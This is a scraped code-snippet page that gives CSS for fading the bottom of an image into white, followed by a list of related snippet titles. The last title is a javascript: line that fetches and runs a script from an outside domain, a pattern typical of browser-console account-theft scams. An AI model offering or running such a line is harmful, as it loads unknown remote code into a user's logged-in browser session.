Fading bottom image css

.image { position: relative; }
.image img { display: block; position: relative; z-index: 1; width: 100%; }
.image .fade { position: absolute; bottom: 0; width: 100%; height: 150px; z-index: 2; background: rgba(255, 255, 255, 0) linear-gradient(to bottom, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 0.8) 80%) repeat scroll 0 0;  }

Source: stackoverflow.com

Similar codes

0 vote131 views1 answer
Aos makes screen unresponsive
CSS
2 votes124 views2 answers
Bootstrap change color table striped
CSS
9 votes136 views1 answer
Textview android text align center
CSS
6 votes119 views1 answer
How to make text wrap on overfloe with css
CSS
0 vote143 views1 answer
Show modal in bootstrap 4
CSS
5 votes113 views4 answers
Paginate bs
CSS
18 votes97 views7 answers
Round button css
CSS
0 vote119 views1 answer
How to saturate colors in css
CSS
5 votes125 views1 answer
Transform multiple css
CSS
0 vote144 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS